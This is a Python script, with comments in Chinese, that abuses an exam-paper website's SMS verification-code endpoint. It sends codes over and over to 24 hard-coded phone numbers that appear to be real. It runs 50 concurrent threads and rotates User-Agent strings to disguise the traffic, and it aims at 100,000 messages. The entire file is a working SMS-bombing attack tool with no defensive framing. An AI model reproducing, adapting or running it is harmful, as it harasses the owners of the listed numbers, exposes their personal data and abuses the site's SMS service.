import requests import time import random import sys from datetime import datetime from concurrent.futures import ThreadPoolExecutor, as_completed import threading # 手机号码列表 PHONE_NUMBERS = [ "13027117693", "13283053775", "13133236450", "13147049956", "13135243917", "13182759886", "13214120800", "13180199912", "13259328753", "18189267654", "17786947119", "14936021335", "16535533188", "16521554772", "16521555240", "16517525571", "16517528229", "16517528225", "16517528227", "16517689338", "18300568261", "18958009044", "13866017934", "15931169155" ] # 并发配置 MAX_WORKERS = 50 # 并发线程数，可以根据需要调整（10-50之间） REQUEST_DELAY = 0.1 # 每个请求之间的延迟（秒），避免请求过快 # 接口配置 BASE_URL = "https://service.exampapers.cn/exam/api/v2/send-sms-code/" # 多个User-Agent，模拟不同设备 USER_AGENTS = [ # Windows Chrome "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", # Windows Edge "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0", # Windows Firefox "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0", # macOS Safari "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15", # macOS Chrome "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", # iPhone Safari "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Mobile/15E148 Safari/604.1", # Android Chrome "Mozilla/5.0 (Linux; Android 13; SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Mobile Safari/537.36", # iPad Safari "Mozilla/5.0 (iPad; CPU OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Mobile/15E148 Safari/604.1", # Linux Firefox "Mozilla/5.0 (X11; Linux x86_64; rv:121.0) Gecko/20100101 Firefox/121.0" ] # 基础请求头模板 BASE_HEADERS = { "Accept": "*/*", "Accept-Encoding": "gzip, deflate, br, zstd", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6", "Content-Type": "application/json", "Host": "service.exampapers.cn", "Origin": "https://my.exampapers.cn", "Referer": "https://my.exampapers.cn/", "Sec-Fetch-Dest": "empty", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Site": "same-site" } # 全局统计（线程安全） stats_lock = threading.Lock() total_count = 0 success_count = 0 fail_count = 0 phone_stats = {phone: {"success": 0, "fail": 0} for phone in PHONE_NUMBERS} start_time = None def send_sms(phone_number): """发送验证码""" global total_count, success_count, fail_count try: url = BASE_URL + phone_number # 随机选择一个User-Agent headers = BASE_HEADERS.copy() headers["User-Agent"] = random.choice(USER_AGENTS) response = requests.post(url, headers=headers, data="", timeout=10) with stats_lock: total_count += 1 if response.status_code == 200: success_count += 1 phone_stats[phone_number]["success"] += 1 # 每100次成功显示一次进度 if success_count % 100 == 0: elapsed = time.time() - start_time rate = success_count / elapsed print(f"[进度] 成功: {success_count}, 失败: {fail_count}, 速率: {rate:.1f}次/秒", flush=True) return True else: fail_count += 1 phone_stats[phone_number]["fail"] += 1 print(f"[{phone_number}] 失败 - 状态码: {response.status_code}", flush=True) return False except Exception as e: with stats_lock: total_count += 1 fail_count += 1 phone_stats[phone_number]["fail"] += 1 print(f"[{phone_number}] 异常: {type(e).__name__}: {e}", flush=True) return False def worker(): """工作线程，持续发送验证码""" while True: # 随机选择一个号码 phone = random.choice(PHONE_NUMBERS) send_sms(phone) # 短暂延迟避免过快 time.sleep(REQUEST_DELAY) def display_stats(): """定期显示统计信息""" while True: time.sleep(30) # 每30秒显示一次 elapsed = time.time() - start_time with stats_lock: rate = success_count / elapsed if elapsed > 0 else 0 print(f"\n{'='*60}", flush=True) print(f"运行时间: {elapsed/3600:.2f} 小时", flush=True) print(f"总计: {total_count}, 成功: {success_count}, 失败: {fail_count}", flush=True) print(f"成功率: {success_count/total_count*100:.1f}%", flush=True) print(f"当前速率: {rate:.1f} 次/秒", flush=True) # 预估剩余时间 remaining = 100000 - success_count if rate > 0: eta_seconds = remaining / rate eta_hours = eta_seconds / 3600 print(f"预计剩余: {eta_hours:.1f} 小时 (100000条总目标)", flush=True) print(f"{'='*60}\n", flush=True) def main(): global start_time start_time = time.time() print(f"多线程并发发送验证码", flush=True) print(f"号码数量: {len(PHONE_NUMBERS)}", flush=True) print(f"并发线程: {MAX_WORKERS}", flush=True) print(f"目标额度: 100,000 条", flush=True) print(f"启动时间: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}", flush=True) print(f"按 Ctrl+C 停止", flush=True) print("-" * 60, flush=True) try: # 创建线程池 with ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor: # 启动统计显示线程 stats_thread = threading.Thread(target=display_stats, daemon=True) stats_thread.start() # 提交工作任务 futures = [executor.submit(worker) for _ in range(MAX_WORKERS)] # 等待完成（实际上会一直运行） for future in as_completed(futures): try: future.result() except Exception as e: print(f"线程异常: {e}", flush=True) except KeyboardInterrupt: elapsed = time.time() - start_time print(f"\n\n{'-' * 60}", flush=True) print(f"用户手动停止", flush=True) print(f"停止时间: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}", flush=True) print(f"运行时长: {elapsed/3600:.2f} 小时", flush=True) print(f"总计尝试: {total_count} 次", flush=True) print(f"成功发送: {success_count} 次", flush=True) print(f"失败次数: {fail_count} 次", flush=True) print(f"平均速率: {success_count/elapsed:.1f} 次/秒", flush=True) print(f"\n每个号码统计：", flush=True) for phone, stats in phone_stats.items(): total = stats['success'] + stats['fail'] print(f" {phone}: 总计 {total}, 成功 {stats['success']}, 失败 {stats['fail']}", flush=True) print(f"{'-' * 60}", flush=True) if __name__ == "__main__": main()